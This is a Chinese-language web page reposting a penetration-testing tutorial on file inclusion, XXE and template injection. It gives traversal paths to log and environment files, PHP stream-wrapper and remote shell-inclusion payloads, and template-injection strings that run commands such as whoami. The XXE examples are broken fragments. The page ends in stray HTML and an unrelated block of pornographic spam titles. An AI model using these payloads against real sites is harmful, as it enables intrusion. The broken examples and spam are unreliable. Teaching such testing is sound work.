• <li id="0bn34"><legend id="0bn34"><th id="0bn34"></th></legend></li>

      <label id="0bn34"><mark id="0bn34"><strong id="0bn34"></strong></mark></label>
      <span id="0bn34"><optgroup id="0bn34"></optgroup></span> <label id="0bn34"><mark id="0bn34"><strong id="0bn34"></strong></mark></label>

      <rt id="0bn34"></rt>
      <span id="0bn34"><optgroup id="0bn34"><center id="0bn34"></center></optgroup></span>
      <li id="0bn34"><big id="0bn34"><listing id="0bn34"></listing></big></li>
      網站滲透測試 對文件包含注入檢測辦法
      • 更新時間:2025-05-14 11:48:15
      • 開發經驗
      • 發布時間:3年前
      • 684

      昨天給大家普及到了滲透測試中執行命令漏洞的檢測方法,今天抽出時間由我們Sine安全的滲透工程師來講下遇到文件包含漏洞以及模板注入漏洞的檢測方法和防御手段,本文僅參考給有授權滲透測試的正規安全檢測的客戶,讓更多的客戶了解到具體測試的內容,是如何進行全面的網站安全測試。


      3.8. 文件包含

      3.8.1. 基礎

      常見的文件包含漏洞的形式為

      考慮常用的幾種包含方式為

      同目錄包含 file=.htaccess

      目錄遍歷 ?file=../../../../../../../../../var/lib/locate.db

      日志注入 ?file=../../../../../../../../../var/log/apache/error.log

      利用 /proc/self/environ

      其中日志可以使用SSH日志或者Web日志等多種日志來源測試

      3.8.2. 繞過技巧

      常見的應用在文件包含之前,可能會調用函數對其進行判斷,一般有如下幾種繞過方式

      3.8.2.1. url編碼繞過

      如果WAF中是字符串匹配,可以使用url多次編碼的方式可以繞過

      3.8.2.2. 特殊字符繞過

      某些情況下,讀文件支持使用Shell通配符,如 ? * 等

      url中 使用 ? # 可能會影響include包含的結果

      某些情況下,unicode編碼不同但是字形相近的字符有同一個效果

      3.8.2.3. %00截斷

      幾乎是最常用的方法,條件是magic_quotes_gpc打開,而且php版本小于5.3.4。

      3.8.2.4. 長度截斷

      Windows上的文件名長度和文件路徑有關。具體關系為:從根目錄計算,文件路徑長度最長為259個bytes。

      msdn定義“`#define MAX_PATH 260“`,第260個字符為字符串結尾的“`0“`

      linux可以用getconf來判斷文件名長度限制和文件路徑長度限制

      獲取最長文件路徑長度:getconf PATH_MAX /root 得到4096 獲取最長文件名:getconf NAME_MAX /root 得到255

      那么在長度有限的時候,`././././` (n個) 的形式就可以通過這個把路徑爆掉

      在php代碼包含中,這種繞過方式要求php版本 < php 5.2.8

      3.8.2.5. 偽協議繞過

      遠程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload為 ?file=[http|https|ftp]://域名/shell.txt

      PHP INPUT: 把payload放在POST參數中作為包含的文件,要求 allow_url_include=On ,payload為 ?file=php://input

      : 使用偽協議讀取文件,payload為 ?file=php://filter/convert.-encode/resource=index.php

      DATA: 使用data偽協議讀取文件,payload為 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

      3.9. XXE

      3.9.1. XML基礎

      XML 指可擴展標記語言(eXtensible Markup Language),是一種用于標記電子文件使其具有結構性的標記語言,被設計用來傳輸和存儲數據。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。目前,XML文件作為配置文件(Spring、Struts2等)、文檔結構說明文件(PDF、RSS等)、圖片格式文件(SVG header)應用比較廣泛。

      3.9.2. XXE

      當允許引用外部實體時,可通過構造惡意的XML內容,導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等后果。一般的XXE攻擊,只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,但是也可以通過Blind XXE的方式實現攻擊。

      3.9.3. 攻擊方式

      3.9.3.1. 拒絕服務攻擊

      ]>

      &a2;

      若解析過程非常緩慢,則表示測試成功,目標站點可能有拒絕服務漏洞。具體攻擊可使用更多層的迭代或遞歸,也可引用巨大的外部實體,以實現攻擊的效果。

      3.9.3.2. 文件讀取

      ]>

      &file;

      3.9.3.3. SSRF

      ]>

      4

      3.9.3.4. RCE

      ]>

      &xxe;

      3.9.3.5. XInclude

      3.10 模板注入漏洞

      3.10. 模版注入

      3.10.1. 簡介

      模板引擎用于使用動態數據呈現內容。此上下文數據通常由用戶控制并由模板進行格式化,以生成網頁、電子郵件等。模板引擎通過使用代碼構造(如條件語句、循環等)處理上下文數據,允許在模板中使用強大的語言表達式,以呈現動態內容。如果攻擊者能夠控制要呈現的模板,則他們將能夠注入可暴露上下文數據,甚至在服務器上運行任意命令的表達式。

      3.10.2. 測試方法

      確定使用的引擎

      查看引擎相關的文檔,確定其安全機制以及自帶的函數和變量

      需找攻擊面,嘗試攻擊

      3.10.3. 測試用例

      簡單的數學表達式,{{ 7+7 }} => 14

      字符串表達式 {{ "ajin" }} => ajin

      Ruby

      Java

      ${7*7}

      Twig

      {{7*7}}

      Smarty

      {php}echo `id`;{/php}

      AngularJS

      $eval('1+1')

      Tornado

      引用模塊 {% import module %}

      => {% import os %}{{ os.popen("whoami").read() }}

      Flask/Jinja2

      {{ config.items() }}

      {{''.__class__.__mro__[-1].__subclasses__()}}

      Django

      {{ request }}

      {% debug %}

      {% load module %}

      {% include "x.html" %}

      {% extends "x.html" %}

      3.10.4. 目標

      創建對象

      文件讀寫

      遠程文件包含

      信息泄漏 提權

      3.10.5. 相關屬性

      3.10.5.1. __class__

      python中的新式類(即顯示繼承object對象的類)都有一個屬性 __class__ 用于獲取當前實例對應的類,例如 "".__class__ 就可以獲取到字符串實例對應的類

      3.10.5.2. __mro__

      python中類對象的 __mro__ 屬性會返回一個tuple對象,其中包含了當前類對象所有繼承的基類,tuple中元素的順序是MRO(Method Resolution Order) 尋找的順序。

      3.10.5.3. __globals__

      保存了函數所有的所有全局變量,在利用中,可以使用 __init__ 獲取對象的函數,并通過 __globals__ 獲取 file os 等模塊以進行下一步的利用

      3.10.5.4. __subclasses__()

      python的新式類都保留了它所有的子類的引用,__subclasses__() 這個方法返回了類的所有存活的子類的引用(是類對象引用,不是實例)。

      因為python中的類都是繼承object的,所以只要調用object類對象的 __subclasses__() 方法就可以獲取想要的類的對象。這一節滲透測試講到的這些內容和繞過手法,如果對自己網站不太放心的話可以找專業的網站安全公司來處理解決,國內做的比較好的如Sinesafe,綠盟,啟明星辰等等。

      我們專注高端建站,小程序開發、軟件系統定制開發、BUG修復、物聯網開發、各類API接口對接開發等。十余年開發經驗,每一個項目承諾做到滿意為止,多一次對比,一定讓您多一份收獲!

      本文章出于推來客官網,轉載請表明原文地址:https://www.tlkjt.com/experience/7582.html
      推薦文章

      在線客服

      掃碼聯系客服

      3985758

      回到頂部

      国产精品美女流白浆视频| 欧美呜巴又大粗又长| 国产精品另类激情久久久免费 | 国产精品亚洲欧美日韩一区在线| 97久久精品无码一区二区 | 日韩一卡2卡3卡4卡| 亚洲欧洲国产视频| 毛片免费视频观看| 制服丝袜人妻中文字幕在线| 美女扒了内裤让男人桶爽视频| 国产成人免费手机在线观看视频| 97视频资源总站| 国产精品va在线观看无码| 91精品手机国产免费| 国产黄在线观看免费观看不卡| √天堂资源中文官网bt| 小坏蛋轻点阿受不了漫画| 久久99久久99精品免观看不卡| 日本xxxx18一20岁老师| 乳孔被撑开乳孔改造里番| 最近中文字幕免费mv视频7| 亚洲国产精品尤物yw在线观看| 欧美成人精品第一区| 亚洲精品无码久久毛片| 污视频网站观看| 偷窥自拍10p| 波多野结衣在线不卡| 伊人狠狠色丁香综合尤物| 波霸在线精品视频免费观看| 健身私教弄了我好几次怎么办| 欧美日韩亚洲国产一区二区三区| 亚洲国产欧美另类va在线观看 | 日韩内射美女片在线观看网站| 亚洲av成人片在线观看| 日韩在线视频网站| 亚洲av中文无码乱人伦在线视色| 无码高潮少妇毛多水多水免费 | 色综合久久久久综合体桃花网 | 老子影院午夜伦手机不四虎| 国产中文在线观看| 老公和他朋友一块上我可以吗|